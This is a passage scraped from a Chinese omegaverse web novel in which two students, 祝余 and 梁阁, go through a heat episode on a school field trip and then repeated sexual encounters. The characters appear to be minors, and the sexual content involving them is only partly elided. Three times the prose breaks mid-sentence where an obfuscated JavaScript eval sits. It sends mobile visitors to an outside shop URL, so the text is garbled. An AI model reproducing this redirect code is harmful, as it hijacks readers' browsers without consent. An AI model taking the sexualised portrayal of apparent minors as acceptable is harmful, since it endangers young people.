什么意思?他们昨晚也聊天了?梁阁也给他发了“明天见”吗? 受到fq期激素的影响,人会控制不住的情绪化,那种不安像刀一样切割着他,祝余有一点点喘不过气。 忽然看到什么,omega惊喜地挤开几个beta男生,蹦跳到前边来,指着颗树摇动,说他们家庭院里就有这种树。摇动间有什么掉下来落在他身上,他浑身一颤,尖叫着瞪大眼睛,“什么掉我脖子上了!” 是条青色的大毛虫,虫体只指头大小的一根,可全身遍布毛茸茸的长足和刚毛,形似树叶,每根长足尖端一点橙黄,正在omega脖子上毛茸茸地蠕动着,非常恶心,看着都毛骨悚然。 他身边几个人也跟着叫起来,omega吓得都木了,一直在叫“是什么是什么,快帮我弄掉!好痛!”,几人手忙脚乱找树枝帮他拨开,祝余伸手就把虫拿下来了。 众人惊异又害怕地看着他,连声叫他扔掉。 祝余说,“没事,是种狭蝶幼虫,不伤人的。” 是小豹律狭蝶的幼虫,祝余伸手把虫放到旁边一棵小树的叶上,虫悠悠蠕动着爬走了。 场面重归平静,两个beta男生后知后觉地为自己在女生和omega面前被一只虫吓到感到羞耻。梁阁拧开一瓶水,走到祝余身前,温声说,“还是洗一下手吧。” 祝余定了定,偏过头,像是不情愿地伸出手,水从瓶口倾倒出来,细弱缠绵地包裹住他的双手,从掌根到指尖,像透明的藤,他掀起眼帘看了梁阁一眼,梁阁垂眼专注地看着他的手,祝余忽地把手抽了回来,“好了。” 水泼到了地上,梁阁看了他一眼。 惊魂未定的omega堪堪平复住呼吸,“我脖子也要洗洗,太恶心了!” 女孩子用纸沾水帮他擦了擦,他眼睛还是红的,说他从小就怕虫,连蛇都不怕,就怕虫。 因为这件事,分组采集样本的时候,omega一定要和祝余一组。 omega滑稽地将背包挡在后颈,生怕又有虫子落下来,亦步亦趋跟在祝余身边,忽然语出惊人,“嘻嘻,没想到能和你一组。哎,要能早点能和你出来就好了,我之前还暗恋你好长一段时间呢!” 祝余停下脚步,看了他一眼。 “你不要觉得尴尬噢!哎呀,我这个人能量过剩,本来我同时还暗恋八个人呢!”他仿佛骄傲地说,又老神在在地宣称,“主要是暗恋不费什么精力,也不花什么钱,节能环保,还能解乏解闷,真的是很划算。” 祝余不知道他这套理论哪来的,只觉得他嗓门比林松松还大。 “但我现在已经不暗恋你了,本来我以为你肯定会分化alpha的,不然也应该是beta,没想到你竟然分成omega了!”他垂头顿足,很有些惋惜。 祝余原本也以为自己大概率会分化成beta,他爸一直期望他是一个beta,不受□□所困,也能熠熠生辉的beta。他长得高,也足够挺拔,智力优秀,所有人都觉得他不是alpha,也会是个精英beta。 可他确实是个omega。 祝余从头到尾没说话。 omega有些没趣,“你果然和我想的一样脾气烂。” 祝余往前走,半晌才道,“那你还暗恋?” “你长得很好看啊,还聪明,而且我就喜欢这种不搭理我的!”omega追上来,兴致勃勃地说。 “你喜欢郁仪?” omega惊喜道,“你怎么知道?!”又丧气地说,“但是他谈恋爱了,所以也不能暗恋了。四月真是我的倒霉月,一下损失两个最喜欢的!” 他想了想,“其实我们组那个a,就是梁阁,也好帅,看脸绝对是我的type,但还是没能补进我的暗恋对象名单。” omega刚才的情态,祝余还以为他对梁阁一定是有意的。 “为什么?因为他是那种搭理你的?”祝余像是不耐烦地随口一问。 omega思考片刻,居然说,“不是,他是那种‘看起来搭理你其实不搭理你’的。”他撅起嘴,“就是会应付一下,可能教养好吧。但他搭理你就很开心啊,他身上一定有很多生物老师说的那个什么因子,站在他旁边就很舒服……” 祝余停下来,看了他一会儿,什么也没说就走了。 他们采集点比较远,回去时其他人已经齐了,梁阁站在路边仰头观察一片鹅掌楸的叶子,一个beta女生在和他说话,梁阁漫不经心地摩挲着鹅掌楸叶,说了句什么,女孩子小声笑起来。 应付吗? 祝余一动不动地看着他,梁阁觉察到他视线偏过头来,目光相接,祝余生硬地错开了眼神。 一行人继续上山,正讨论着下一次采集点的分配,omega又踊跃表示要和祝余一组。 祝余走在队伍里,像被砸了一记闷锤,他忽然身形一矮,呼吸蓦地变得困难,下腹又像被点了把火般烧起来,视野变得混乱而膨大,两条腿软得像被抽了筋骨,立刻就要跪下去。 “我去那边。” 他哑着声撂下一句,直接快步离开。 祝余头也不回地抄进小道,刚避开人前,脚步立刻变得凌乱而踉跄,他捂着小腹跌跌撞撞地更深处藏去。他已经fq了,只是抑制环暂时还禁锢着,信息素没能散出去,口水开始泛滥,鼻翼急促张合,头昏脑涨,再在人前多待两分钟他就要变成一副卑微的下流样子。 他用尽全力走到一丛灌木后的空地坐下,抖着手翻开包找药,包失手掉在地上,东西洒了一地,他捡出一盒急效药来,抠出两粒,口水太泛滥,都没服水,仰头就吞下去了。 从分化的那刻起,omega就注定要一辈子和这些药剂为伍。 他闭着眼睛,脱力地喘息着,等着药生效将这阵遽然而至的fq期压下。 山野静静的,灌木开着些白色的小花,是野生的绣线菊。祝余渐渐感到身体平静下一些,反应没那么剧烈痛苦了,刚呼出一口气,猝不及防有股横行霸道的尖锐刺痛顺着脊柱袭向他大脑皮层,那种又痒又涨的热痛瞬间充盈他骨骼的每个罅隙,他疼得要尖叫,嗓子眼里却像哽着团湿棉花根本发不出声来。 他冷汗涔涔地伏在地上,手揪住地上的草,明明喉咙干热得像吞了一片沙漠,口水却丰沛,黏答答的张嘴就往下滴,在地上洇湿了一小滩。 怎么会这样? 明明吃过药了,第一次fq时也没有这样难受过,恐怖的热流岩浆一样灌满他四肢百骸,大脑神经被狠狠揪住,他趴跪在那里,一万只蚂蚁在将他啮噬。 手在草地上无力地摸索着,根本抬不起来,好不容易摸到手机,他死死咬住舌尖集中注意力拨号,但位置太偏,没有信号,根本拨不出去。 他灰败无力地倒在地上,神智混沌,呼出的气息灼热无比,他视线模糊地看着天上的游云,打算单靠意志力把这段fq期扛过去。 祝余紧紧咬着下唇,感官被无限放大,一阵一阵热汗浇湿了他,体内的空虚快把他逼疯,像是被无数小虫啃咬一样瘙痒。 omega本能在渴望。 好想,好想。 血液在血管里高温高速地奔涌,他被情火烧得昏聩无力,尸体一样沉缓,没有半点行动能力。 不知道过了多久,他听到鞋子踩过草甸的窸窣声响,有人在朝这过来。祝余当即警觉起来,手艰难地攥住和药物一起散落在地上的“战术笔”——是他随身携带的防身用具,笔尖锋利似军刺,平时可以书写,必要时可以破窗、当刀。 他的心剧烈撞响着。 野外或者其他场合意外fq的omega受到侵害的可能性极大。来的会是谁?荔山观光的游客,还是他们组其他人?不管是谁,只要对他实行侵害,他就会把这支战术笔插进那人的侧颈或太阳穴里。 梁阁走到灌木前,偏头无意间一瞥,看到祝余下身紧并着蜷倒在绣线菊后的草甸。 他一惊,连忙上前,却不太敢靠近或者直接触碰他。祝余伏在草地上露出小半张脸,脸蛋通红,发丝被热汗黏在脸上,下嘴唇被咬得出血,眼里全是水汽,不用碰也知道全身滚烫,明显是fq了。 梁阁一贯冷静,现下也是,没问多余的显而易见的话,直接问他,“祝余,听得到我说话吗?这些药有用吗?需要哪一种?” 他怕祝余没意识了,捡起地上的药剂重复问了两次。 祝余透过氤氲不清的视线先是看见他的脸,再是他左耳上那个银灰色的阻隔器,掩藏在腹部紧握着战术笔的手慢慢地松开了,握得太紧,手心全是汗水。 祝余闭上眼睛,他不知道自己希不希望来的人是梁阁。 为什么要是梁阁?他不想让梁阁看到他难堪的样子。而且是梁阁的话,他会愿意,他会迷失,他会全身心地渴望他。 梁阁又问了一次,祝余才撑开黏重的眼皮很轻地摇了下头,喉咙里发出些难耐而绵长的泣音,茂密的长睫被水汽粘成一簇一簇的,他皮肤泛起红潮,热得像一片要被烧碎的玻璃。 阻隔器使梁阁的信息素无法释放,也让外界的信息素无法对他有丝毫影响。他看着痛苦虚弱的omega,很快做出权衡,“上次在休息室你记得吗?我会像那次一样抚摸你,可以吗?” 情况危险,当务之急是减轻他的痛苦。 祝余一动不能动,眼皮都泛红,他眨了下眼睛。 梁阁动作轻缓地将他扶起来,抬手卸了耳侧的阻隔器,鼻端立刻感知到信息素的汹涌恐怖,omega的信息素已经浓到黏稠的地步了,白茶花的香气铺天盖地,梁阁险些呛到,呼吸立刻加重,饶是他再平和冷静,胸腔内心脏仍是狂跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084469|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不止。 祝余已经不是深度fq了,这是暴走式fq。 祝余在嗅到梁阁信息素的刹那,全身血液顷刻间被引燃,熊熊野火,他血管都要被烧干。他一下扑到梁阁怀里,皮肤那种不正常的红又更深一层,在梁阁怀里乱蹭乱拱,梁阁连忙回抱住他,两人正面相搂。 梁阁狠狠一震,再抱下去,两个人都要过界了。 梁阁偏过头,与他拉开距离,迅速佩戴好阻隔器,就要抽身起来,祝余紧紧捉住他的手,像被抛弃一样哀哀望着他。 “我不是要走,你放心,我想别的办法。”梁阁气息混乱,“你现在不冷静,做了什么可能会后悔。” 他站起身,掏出手机来给医院打电话,就算短时间到不了,但至少可以询问专业人员这些药到底哪些可以用上。 祝余失去凭依,又伏倒在地上,fq期的omega情绪极其脆弱,他像被生生从alpha的怀抱和信息素里剥出来,丢在这里。 他蜷缩着一个劲地发抖,那种空虚无助,较之前还要乘以十倍不止,他要休克了,渴望得到alpha的抚慰在这一刻已经不是为了纾解,而是为了求生。 号码拨不出去,这里没信号,梁阁刚一动,祝余就握住他的小指,发红的眼睛紧盯着他。 梁阁蹲下来,和他解释,“这里信号不行,我去那边,等我一下。” 他向他保证,“我立刻回来。” 他提步要走,小指甫一抽出,祝余两只手死死攥住了他的手腕,非常用力,手背青筋浮现,指甲都掐进他肉里。 梁阁惊讶地看见了他的眼泪,两行清河在omega布满红潮的脸上哀缓地流动,脆弱而痛苦地,他在这场fq里第一次开口说话。 “上次我帮了你,你也帮帮我吧……”他闭着眼,声腔颤动着像在哽咽,“我又不怪你。” 沉默。 他这样直白地请求,梁阁没有出声,也没有动。 祝余在死寂中体会到一种灰冷的绝望。是啊,他那么冷静自制,一次又一次把他推开,仿佛帮他只是出于教养和道义,根本不想和他有太多的牵扯。 原来我和其他人没有什么不一样,原来他真的也只是在应付我。 接着他听到梁阁说,“我没有经验,不舒服你告诉我。” 祝余猛地睁开眼,梁阁正俯下身将他抱起来,往山林更深更偏僻处走去,在一棵近溪旁的大树后把他放下。他两条腿难堪地并在一起,簌簌发着抖,两只眼睛渴慕地望着梁阁。 梁阁卸下阻隔器,扔在一边,眼神瞋黑地俯视着祝余,与平日截然不同的阴沉严肃。 …… …… 等祝余平静下来,梁阁起身拾起两个人的衣服,走到溪边,简单清理了一下,又回来问祝余要不要去洗洗。祝余乍一起身,整个人都打晃,梁阁扶着他走进溪水里,溪水不深,只到小腿,很干净清凉,山溪潺潺地流过皮肤,梁阁问他,“好些了吗?” 祝余目光混沌地看着他的脸,梁阁还是那副清劭斯文的笑模样,他哑着声问,“刚才是你吗?” 梁阁不解,“什么?” “刚才一直是你吧?” 梁阁想了想,笑着说,“是啊。” 那就好。 不能一直在山上待了,祝余两条腿发软打抖,梁阁背着他下山。 祝余圈住他脖颈,乖顺地伏在他肩上,不时因为躯体残留的感觉而哆嗦。 一直到山下,梁阁将他放到长椅上,在讨论组发消息和其他人里解释,当然是编的借口。祝余紧紧偎着他,刚经受过alpha疼爱的omega,依恋感强烈,皮肤饥渴症般离了alpha就空虚难过,搂着胳膊发抖,梁阁问他要不要去医院。 祝余不能去医院,他家里是医疗系统的,不只是医生,只要他进医院有就诊记录,家里立刻知悉。更主要的是,他刚经历过一场和alpha的“劫难”,绝对瞒不过医生。 可现在这样,也不能直接送他回家。 梁阁手机上叫了车,选定要beta司机。车来得很快,他护着祝余进到后座,fq期的omega虚弱嗜睡,恹恹地蜷在他怀里,脸颊热得红扑扑的,乌睫浓长,因为哭过,鼻息有些不畅,半梦半醒间一直热乎乎地往梁阁怀里蹭。 驾驶座的中年男beta司机不时通过内视镜打量他们,再一次抬头看过去,就对上镜子里梁阁无波无澜的眼睛,司机一悚,讪讪转开目光。 在离梁阁住的公寓不到一公里的时候,祝余再次发起热来,贴在梁阁怀里难耐地蹭动,梁阁侧身挡住司机的视线,只说,“快点。” 多数omega会在弄完之后大大缓解,可祝余在这么短时间内就再次fq,梁阁感到有些棘手。 他们飞快下了车,回到一切都便利发达的城市,梁阁问,“要不要先去趟药店,我没有t。” “不要了吧,已经摄过了。” 梁阁稍作缄默,又问,“还需要什么药吗?” “我都有。”祝余气息紊乱,指尖紧紧绞住梁阁衣摆,声线泥泞地问,“可不可以……快上去,我……” 梁阁不再耽搁,牵着他快步进到公寓电梯,幸好电梯里没有其他人,祝余一直将脸埋在梁阁颈窝,吃力滚烫地呼吸。电梯门打开,梁阁揽着他按开公寓门锁,门砰地阖上。 …… 等到完全平静下来,已经过了五点,窗外的天色有些阴,卧室里光线黯淡,祝余腰酸骨软地从梁阁床上坐起身。 梁阁问他,“要不要喝水?”祝余喉咙干渴,点头。梁阁下床,套了条长裤,出去给他端了杯水来。 祝余吨吨喝了那杯水,喉咙还是哑痛的,神思混乱,他忽然就问,“你昨天是不是也给他们发了‘明天见’?” 他话落音,梁阁先是错愕地看了他一会儿,接着笑起来,“当然不是。” 祝余问完就有点后悔了,他觉得自己被c坏了脑子。 可梁阁弯腰从床边散乱的衣裤里捡出手机,解锁划开屏幕,递给他,问,“要看吗?” 祝余愣了愣,真就接了过来。梁阁的社交软件非常正经干净,联系人备注全是连名带姓,连李沛都是“李沛”。确实没给其他人发,梁阁都没加他们,而且梁阁真的不怎么用表情,比较常用那个笑眯眯的颜文字,不知道是不是被祝余吐槽过,他只对祝余用表情。 他心绪一下明快起来,正想继续往下翻,猛然意识到这个查手机的行为是非常暧昧的,有点类似情侣间的查岗,这么一想,立刻有些脸热,划拉屏幕的手也有些乱了。 他小心地抬头看着梁阁,眼睛和脸颊都还是红的,可怜又可爱的样子,强自镇定地说,“我就是随便问问。” 梁阁微笑地看着他,很真挚的样子,“我知道。” 9. 第六章(上) 所幸今天他爸和继母都不在家,祝余吃了药,洗过澡躺在床上,心脏仍然激跳不已。 第一次,在山里,白天,没有止咬器,也没有颈圈,甚至还被成结了,他现在想起来都觉得迷乱又疯狂。 今天的事值得他在心里好好复盘一遍,可他前一晚睡眠不足,今天又早起爬山,加之高强度xa,fq期困倦,很快就撑不住睡过去了。 当天晚上服完药后,第二天起来他的信息素就清澈了很多,他爸进来看他状况时,并没有发现什么异样。之后的两天,祝余没有去学校,请的是伤假,因为那天梁阁在讨论组里说他扭伤了腿,送他去了医院。 他一直关在房间里,仔细查看了一下那天带的药和使用的针剂,是否成分过敏,其余时间就缩在床上,度过剩余的fq期。 这两天他和梁阁联络频繁,消息往来密切。他想起那天在公寓里,他问梁阁,“你一个人住这里?” “是啊,你有空可以来玩。” 有空可以来玩,什么意思? 是希望我去找他吗? 于是祝余没去周三下午的社团活动,他知道梁阁没有社团活动,一般会直接回去,他坐在出租上紧张又燥热,给梁阁发消息,“我现在有空,可以去你那里玩吗?” 梁阁回得很快,“好啊,我在公寓。” 祝余握紧手机,距离愈近心率就愈快,快要公寓楼下的时候,他透过车窗远远地看到梁阁站在那等他,一时间紧张又无措,那些热辣狎昵的记忆涌现脑海,竟有些怔住。 梁阁拉开车门,看他片刻,笑着说,“不下来吗?” 他仓惶回神,下了车,车款都忘了付,是梁阁给的。 心绪躁乱地跟着梁阁进门,入眼就看到摆在客厅附着猫窝的猫爬架,一只德文卷毛猫踞在上面,两只蓝色的眼睛警觉地盯着门口。 梁阁放下一个膝盖,半蹲下去,右手放在地上手指朝猫弯曲,“乖乖。” 德文猫灵敏地从猫爬架上跳下,飞快蹿过来,脚掌柔软地踏在梁阁手心,梁阁拢着它起身。 乖乖? 梁阁叫这只猫乖乖?! “它不是叫NomNom吗?” 问完祝余就想把舌头咬断,梁阁从没和他提起过他养猫,这是他视奸梁阁社交平台的动态得知的,电光石火间,他决定梁阁问起就推说是李沛告诉他的。 好在梁阁没有多问,只是摸着猫说,“乖的时候叫它乖乖。” 饶是祝余不喜欢小动物,也不得不承认这是只非常漂亮的猫。德文本来就是很漂亮的品种,这只又格外好看,白色皮毛,粉色精灵耳,湛蓝虹膜中黑色的竖瞳,脖子上松松绑了个蝴蝶结。 梁阁握着一只猫爪,朝祝余招了招,笑着说,“欢迎。” 祝余看着他笑意温然的脸,佯作冷淡地别开眼神,视线下落,就对上那只猫。它蜷在梁阁怀里,尾巴下夹着,正非常警惕非常有敌意地盯着他。 祝余和猫对视几秒,先一步高傲地别开了头。 梁阁的公寓不算很大,但两室一厅对一人一猫来说也绰绰有余。进门后,梁阁给他泡了茶,两人分坐着两个沙发,祝余无所适从地抚摸着温热的杯壁。 “那天就想说了。”梁阁看着他摩挲杯壁的手,“你无名指有颗痣。” 祝余的心猛地一跳,握着杯壁的手无意识收紧了,挑起眼看他。 “我也有一颗。”他举起右手,无名指第一个指节中间有一颗很浅的痣。 祝余说,“哪又怎样?” 梁阁低头笑笑,“没什么,很巧。” 再没人说话,气氛有些沉默,但并不僵滞。不知道是在家里,还是因为其他,梁阁今天没有戴阻隔器,身上有很淡的信息素的味道,时有时无地在祝余鼻端游离。 祝余有些坐立难安,他的身体清楚地记得,被这个人怎样残忍而甜蜜地打开,怎样毫不怜惜地肆虐,怎样神魂颠倒地快乐。他热得发晕,腹部都好像又开始烧灼,梁阁离他稍近一些,他的腿就止不住地发软。 这是两个初尝滋味的少年ao,祝余晚上裹在被子里,怎么样也达不到那万分之一的快乐。 他看得出梁阁也在渴望他,梁阁看他时眼神漆黑,停留的时间久得有些漫长。那视线像有形的,它抚摸着祝余白皙纤细的脖颈、锁骨,顺着肩线往下,祝余难耐地并起了腿,脸上染上红雾。 他们一时都没有出声,好一会儿梁阁才问他要不要参观一下公寓,祝余讷讷应了“嗯”。 他们神思不属地在公寓里转了一圈,故作平静地说着些无关紧要的闲话,直到进到梁阁卧室。 alpha最私密的气息和信息素如潮水般覆上来,那些疯狂的记忆也跟着纷至沓来。 他腿软得厉害,就要滑下去,梁阁眼疾手快地扶住他。alpha的手心触到他皮肤的刹那,祝余整个人都烧了起来,打了个抖,他回过头,脸盘晕红,眼珠湿润地望着梁阁。 没有人说要,也没有由头,他们自然而然,心照不宣,一拍即合地开始了。 …… 可梁阁忽然停住了,弓下身问他,“可以接吻吗?” 祝余的脑子瞬间空白,心脏紧张得像缺水的水母般缩成一团,语言系统都失了灵,“不、不了吧?” 梁阁稍怔,抱歉地说,“是我越界了。” 祝余看着他直起身,才猛然意识自己说了什么,神经松弛了一秒立刻更加紧绷。为什么要拒绝啊?非要谈恋爱了才能亲吗? 他看着梁阁薄薄的稍许有些湿润的唇,忽地莽撞地扑过去,在梁阁嘴唇上啵了一下。 亲完才反应过来做了什么,他口干舌燥,亢奋的高热让他向来引以为傲的脑子全盘罢工,开始胡乱地找借口。 “……是风。” “风太大了!” “风推了我一下。” 梁阁沉默地看着他。 他眼珠乱转,继续荒腔走板地找借口,“我、我是看你睫毛也挺长的,我想知道眨会不会响……” 梁阁倏地倾过来吻住他,四目相对,梁阁眼睫轻轻眨了眨,祝余心跳响得耳膜都在往外鼓。 梁阁含着他嘴唇,低低地问,“响了吗?” 祝余讷讷地,两瓣嘴唇打开刚想说话,梁阁的舌头就进来了,他肩膀都耸起来,整个人瑟缩得要变成一颗话梅,两手无措地抬着,不知道该把人推开,还是抱住。 梁阁的吻很生涩,牙齿几次都刮到他舌头,两根舌头胡乱搅着,亲得乱七八糟。 停下来时,两个人都有点喘,祝余问他,“你第一次接吻吗?” 梁阁垂下眼,不好意思地笑,“不太好是吧?” 祝余的心砰砰跳着,心尖都发酥,“我教你吧。” 他凑过去,环住梁阁脖颈,吻上他嘴唇。 两个人同样笨拙生涩地触碰,又分开,仿佛试探,再次贴合,舌头轻轻地从唇缝间滑过,开始慢慢深入,撬开牙关,舌尖温热地相触,勾缠,吮吸,渐渐亲出了水声。 梁阁好像比他学得快一些,很快懂得舔他上腭,纠缠他舌根,最后捉着他舌尖猛地一吸。祝余上挺着身差点从床上坐起来,后背一阵颤栗地酥麻,眼前有雪花散开,像黑白电视上闪动的噪点。 他又一点点瘫软下去,吊住梁阁的脖子,眼珠湿润而脉脉地注视着他,他无师自通用这种眼神把梁阁勾住,让梁阁一直吻他。 祝余简直有点上瘾,头脑发热,只想继续接吻,不断接吻,或者这个吻漫长得永远没有尽头,其他都成了次要的。 …… 少年ao年轻漂亮,又精力无限,正处在对情爱的过热期,对yw的新奇和探索使他们神经亢奋、不知疲倦,对视一眼都如天雷地火勾动。一下午都在梁阁的公寓里偷偷接吻放肆,快到放学的点司机要来接他了,祝余才洗过澡清理好,匆匆回了学校。 夏日渐长,阳光刺眼,李沛又霸占了祝余的前座和他喋喋不休,祝余不怎么耐心地听着,忽然半真半假地提及,“我想养只猫。” 李沛立刻说,“我哥就养了只猫!” 祝余顺势点头,“我知道,你跟我说过。” 李沛全无这段记忆,懵懵懂懂,“诶,我说过吗?好吧,反正我哥很会养猫,真的,你没见过,听话得跟狗一样,特会撒娇,但只听他一个人的话,其他人摸都不能摸。” 祝余想,养猫的人大抵最爱这种猫,对所有人都爱答不理,唯独向主人撒娇。 李沛不知想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084470|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到什么,憨憨笑着,“你不知道我哥其实可坏,小时候他说要给我取个外文名,叫puppy,我特开心!每次我哥一叫puppy我就马上跑过去,他就笑着揉我的头,后来我才知道,原来puppy是小狗!” “然后你生气了?” 李沛一副恶心的哥宝样子,“没有啊,我哥喜欢叫就让他叫好了,我哥喜欢就行了,他叫我小狗都没关系。” 祝余无语。 “对了祝祝,上回我生日我妈妈不是邀请我来我们家玩吗?他问你这周有没有空,要来玩吗?” 祝余下意识就要拒绝,李沛又说,“这周末我哥也要来我家住,太好了,好久没和我哥一起睡觉打游戏了……” 祝余没说话,李沛又央求了他好久,两次抬出“我妈妈”和“下个月就考试了你帮我补补功课嘛”后,祝余才像是难以拒绝般点了头。 周日上午九点多,祝余就到了李沛家,李沛开心地出来迎他,喜气洋溢,问东问西,又一定要带他去他的秘密基地。 李沛的秘密基地就是别墅的小阁楼,堆着许多李沛珍藏的从世界各地搜罗来的稀奇玩意儿,还有些游戏漫画手办,甚至还放着几架木头飞机。阁楼开了扇小窗,窗前摆了张书桌,外面是绿意盎然的后院,今天有些小雨,听得见雨打在树叶上的咚咚声,凉润的空气漫漶进来,确实是幽静惬意。 李沛献宝似的把阁楼里的玩意儿挨个给祝余介绍,有脚步声不紧不慢地拾级而上。 梁阁站在楼梯口,他似乎刚起来,还没睡醒的样子,倦倦地,头发有些乱,“沛沛,厨房问你中午想吃什么?”又偏头看着祝余,“沛沛有客人啊?” 他生疏而礼貌地笑着朝祝余点头,像真的不熟。 李沛羞赧地咧着嘴笑,跟祝余说“等等我啊,我马上回来”,就一溜烟儿跑下去了。 只剩下他们,梁阁回头看了一眼,就走进小阁楼。祝余无端局促起来,端坐在书桌前,低眉垂目盯着眼前翻开的书本。 梁阁在他身后站定,右手撑着桌沿,半俯下身来,早起的声线有些沙沙懒懒的,“在看什么书?” 祝余喉咙不自觉地收紧了,心跳剧烈,刚抬起脸,梁阁侧着头就吻过来了。 梁阁刚洗漱完,口腔里有股微辣清新的薄荷味,颗颗牙齿都干净,祝余唇舌全被他的气息占领,整张脸都红了,耳朵滚烫,梁阁的舌头进得好深。 窗外雨声疏疏,有细弱的蝉鸣,祝余耳道里两人全是杂沓燥热的呼吸,和唇舌卷动的黏重声响,荒唐又刺激,他舌根发酸,死死扣住椅子的扶手,被亲得整个人都颤抖起来。 李沛回来的时候,梁阁正拿着本漫画书,还是那么懒洋洋没睡醒的样子,要走出阁楼,“沛沛,你昨天让我看的漫画,是这本吗?” “不是!哥,这是第三卷,我给你找第一卷……” “不是吗?我找了好久。” 明明只是听到李沛上来的声响,随手拿的一本。 祝余用手托着脸,同时遮住被吻得发麻的嘴唇,仍然那么低头看着书。 午餐祝余是在李沛家吃的,李沛父亲是个教徒,今天正逢礼拜日,刚去附近的教堂做完礼拜回来。 李沛另一位beta父亲公务繁忙并不在家,午餐的饭桌上只有他们四个人。信仰的关系,李沛父亲会在餐前祷告,一同用餐的时候梁阁和李沛也会跟着祷告,祝余左右看了一眼,也客随主便地跟着祷告了一下。 他阖上眼睛:神啊…… 没有下文了,他没有信仰,不知道祈祷文,也无意感谢或许下愿望。 餐桌上气氛融洽,菜色也不错,李沛絮絮和他父亲说着话,祝余注意到身边的梁阁夹了好几次西蓝花进碗里。 喜欢吃西蓝花吗?祝余想。梁阁的手肘就轻轻挨了他胳膊一下,他偏过头,看见梁阁碗里西蓝花全都嫩茎朝下、花蕾朝上插在米饭上,整整齐齐,绿汪汪一片,像个微型森林,完全是不好好吃饭的小孩子才会玩的把戏。 干什么? 梁阁眼梢弯着,低低笑着和他说,“看,种树。” 祝余瞥了一眼,不冷不热地“嗯”一声,就迅速别过脸去。 ——神啊,他好傻,把他送给我吧,我想要他。 10. 第六章(中) “就这么喜欢这种事吗?” 白昼越来越长,天也一天天更热,祝余仰躺在梁阁卧室的床上,空调冷风凉丝丝地拂过他皮肤。又是周三下午的社团活动,卧室的落地窗没拉帘,夏天丰沛刺眼的日照投进来,格外有羞耻感。 梁阁脱了上衣,单穿了条系绳的休闲裤站在床边,手撑在祝余两侧,低下来吻他。在外面已经亲过两次,祝余嘴唇有些肿了,要不是猫一直围着他们叫,应该就直接在客厅了。 梁阁抬头看他的脸,祝余已经完全迷失了。 他伸出手抚摸祝余的脸,拭去他眼角的泪水,然后说了那句话。 就这么喜欢这种事吗? 祝余仿佛当头一泼冷水,全身的热都熄下来了,他觉得这句话是一种侮辱,像鞭子,打在他身体上,在嘲笑他的放浪。 “你走开。”他粗蛮地挣动起来,使劲搡梁阁的胸膛,要下去,“走开!” 可梁阁全然无视他的推拒,强势地俯下身,手穿过祝余腋下反扣住他肩膀,在他耳边说,很低沉温柔,“我也很喜欢哦。” …… 落地窗投进的日照渐渐从白光变成橙红,祝余的视野也变得模糊而迷乱,像一场奇诡而荒唐的梦境。 他脱力地倒进梁阁怀里,梁阁轻轻拍抚着哄他,他们交颈相拥,仿佛一对爱侣,那么亲密无间。 可他至今都不知道梁阁的信息素是什么。 七点多光景,天有些黑了。 沈释冲完澡出来,穿着浴袍擦头发,看到梁阁还坐在沙发上看书,“我叫了人来。” 话里意味明显,他是个彻头彻尾的alpha,很早就分化,并且充分享受这些带来的快乐,男女不限,abo不忌。 “你随意。”梁阁只说。 沈释稍有迟疑,“你要在这里?” 梁阁停下翻阅,抬起头望向他,“介意吗?” 沈释笑,“我有什么介意的?一块儿玩我都不介意,要不要一起,还是,给你也叫一个?” “不用,你玩。” 沈释又笑,“你还是处吧?怎么?好奇了?” 梁阁没应声,低头继续看书。 沈释叫的人很快到了,是个小模特,男o,可能二十出头,很显小,看起来挺白净秀气,见到房里有两个人一时有点怔愣,“两位一起吗?” 通知他来的时候,没有说要伺候两个,但看屋里两位应该都是alpha,而且长相优越,身体上可能吃力一些,但心理上绝对爽翻,试试也无妨,而且钱会更多。 沈释敞开浴袍,坐在沙发上吩咐,“不,只有我,过来。” 小模特连忙过去,温顺地跪了下去。 两人都久经此道,很快就如鱼得水起来,但屋子里还有个人在,小模特好奇地看过去。 梁阁安静地坐在沙发上看书,不知道是他的目光太明目张胆,还是这边的动静实在太大,梁阁忽地抬起眼望过来。小模特不期然对上他眼睛,看清了他的脸,山眉薄唇,在灯影下说不出的清贵斯文。小模特的心都跟着晃了一下。 就被沈释掐着后颈扳回来,“看哪呢?” 小模特羞怯地凑在沈释耳边,“沈少,他好帅啊。” “怎么,意思我不帅?” 小模特讨好地圈住沈释的脖颈,还是甜甜地娇嗔,“也帅!” 沈释不冷不热地笑了下,仰起脸半阖着眼仰靠在沙发上。 小模特一边叫着,一边仍然悄悄将余光朝那边投去。 梁阁已经停下了阅读,他一只手支着脸,坐在沙发上旁观,神情很淡,眼里冷清清的,像在看一场冗长而乏味的色q电影。 他这种仿佛不耐烦的冷淡霎时激起了小模特不合时宜的胜负欲,更加卖力起来。 …… 小模特虚弱地趴在沈释肩上,喘着气视线混沌地又朝那望去,梁阁居然在笑。 沈释似乎也发觉了,问梁阁,“笑什么?” 梁阁合上书走过来,停在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 